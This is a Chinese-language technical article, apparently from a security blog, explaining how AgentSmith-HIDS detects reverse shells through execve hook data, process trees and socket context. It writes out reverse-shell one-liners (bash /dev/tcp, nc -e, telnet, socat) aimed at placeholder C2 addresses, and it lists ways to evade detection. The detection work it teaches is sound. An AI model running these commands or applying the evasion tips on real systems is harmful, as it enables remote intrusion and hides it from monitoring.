如何利用AgentSmith-HIDS检测反弹shell
字数 1820 2025-08-25 22:59:02
AgentSmith-HIDS反弹Shell检测技术详解
一、反弹Shell概述
反弹Shell(Reverse Shell)是一种常见的入侵后行为,攻击者通过让受害服务器主动连接控制端(C2)来实现远程控制。这种技术广泛应用于各类攻击场景,从APT攻击到脚本小子的入侵都会使用。
反弹Shell的基本原理
当攻击者获取服务器权限后,由于以下原因常使用反弹Shell:
- 服务器没有公网IP
- 防火墙限制无法建立正向连接
- 需要绕过网络访问控制
二、AgentSmith-HIDS的Execve Hook信息
AgentSmith-HIDS通过Hook execve系统调用来检测反弹Shell行为,其采集的关键信息包括:
核心字段说明
| 字段 | 描述 |
|---|---|
uid |
执行进程的用户ID |
exe |
进程的可执行文件路径 |
argv |
进程执行的命令行参数 |
stdin/stdout |
进程的标准输入/输出 |
dip/dport |
目标IP和端口 |
sip/sport |
源IP和端口 |
pid_tree |
进程树信息 |
tty_name |
进程关联的终端设备 |
SSH_CONNECTION |
SSH连接环境变量信息 |
socket_process_pid/exe |
第一个有效socket的进程信息 |
网络连接信息追踪机制
AgentSmith-HIDS会向上追踪进程树中的网络连接:
- 如果当前进程没有网络连接,向上查找父进程
- 直到找到有有效网络连接的进程或到达进程树顶端
- 记录第一个有效socket的进程信息
三、传统反弹Shell检测方法
1. 基础bash反弹Shell检测
典型攻击命令:
bash -i >& /dev/tcp/c2_ip/c2_port 0>&1
检测特征:
- bash进程的stdin/stdout指向socket连接
- argv包含"-i"参数
示例数据:
{
"exe": "/usr/bin/bash",
"argv": "bash -i",
"stdin": "socket:[80649]",
"stdout": "socket:[80649]",
"dip": "127.0.0.1",
"dport": "233"
}
2. nc反弹Shell检测
典型攻击命令:
nc -e /usr/bin/bash c2_ip c2_port
检测挑战:
- bash进程的stdin/stdout不直接显示网络连接
- 需要分析父子进程关系和网络连接
四、进阶反弹Shell技术分析
1. telnet方式反弹Shell
攻击命令:
telnet c2_ip c2_port 0<SOME_DEVNAME | /bin/bash 1>SOME_DEVNAME
特征:
- 通过重定向实现输入输出控制
- 需要分析管道和文件描述符流向
2. socat工具反弹Shell
攻击命令:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:c2_ip:c2_port
特征:
- 创建伪终端(pty)进行交互
- 进程树中包含socat进程
3. 后门程序实现反弹Shell
如MSF后门特征:
- 无bash进程直接参与
- 自定义二进制文件建立连接
- 传统检测方法完全失效
五、AgentSmith-HIDS创新检测方法
1. 检测思路转变
从"检测异常bash"转变为:
- 检测异常进程行为
- 利用父子进程文件描述符继承关系
- 分析整个执行链条的网络行为
2. 多维度检测策略
策略一:常用命令异常检测
- 监控ls/cat/ip等常用命令
- 检测stdin/stdout与tty不一致情况
- 对比网络连接与SSH_CONNECTION差异
示例检测逻辑:
if process.exe in ["/bin/ls", "/bin/cat"]:
if process.stdin != process.tty_name or process.stdout != process.tty_name:
alert("可疑命令执行")
策略二:网络连接一致性检查
- 对比进程dip/dport与SSH连接信息
- 识别非预期网络通信
策略三:进程树异常分析
- 检测异常进程父子关系
- 识别隐藏在网络连接背后的恶意进程
3. 检测示例分析
nc反弹Shell场景数据特征:
{
"exe": "/usr/bin/ls",
"stdin": "pipe:[93621]",
"stdout": "pipe:[93622]",
"dip": "127.0.0.1",
"dport": "233",
"pid_tree": "1(systemd)->...->nc->bash->ls",
"SSH_CONNECTION": "192.168.165.1 64289 192.168.165.152 22"
}
检测点:
- ls进程的IO与SSH终端不一致
- 存在nc进程在进程树中
- 网络连接与SSH会话不匹配
MSF后门场景数据特征:
{
"exe": "/usr/bin/ls",
"pid_tree": "1(systemd)->...->backdoor->sh->ls",
"socket_process_exe": "/root/backdoor",
"dport": "233"
}
检测点:
- 存在未知backdoor进程
- 异常端口连接
- 进程树结构异常
六、绕过分析与防御建议
已知绕过方法
- 使用非bash解释器(如python/perl)
- 自定义ELF加载器
- 二进制文件混淆(文件名/进程名/MD5)
- 源码编译修改特征
- 使用非标准网络通信方式
增强防御建议
- 结合多Hook点数据交叉验证
- 增加行为序列分析
- 引入机器学习异常检测
- 结合网络层流量分析
- 实施白名单机制
七、总结
AgentSmith-HIDS通过创新的Execve Hook数据分析方法,实现了对各类反弹Shell的有效检测,其核心优势在于:
- 不局限于bash进程检测
- 利用进程树和网络连接上下文分析
- 多维度交叉验证提高准确性
- 能够检测传统方法无法发现的反弹Shell变种
未来可结合更多数据源和分析维度,进一步提升检测覆盖率和准确性。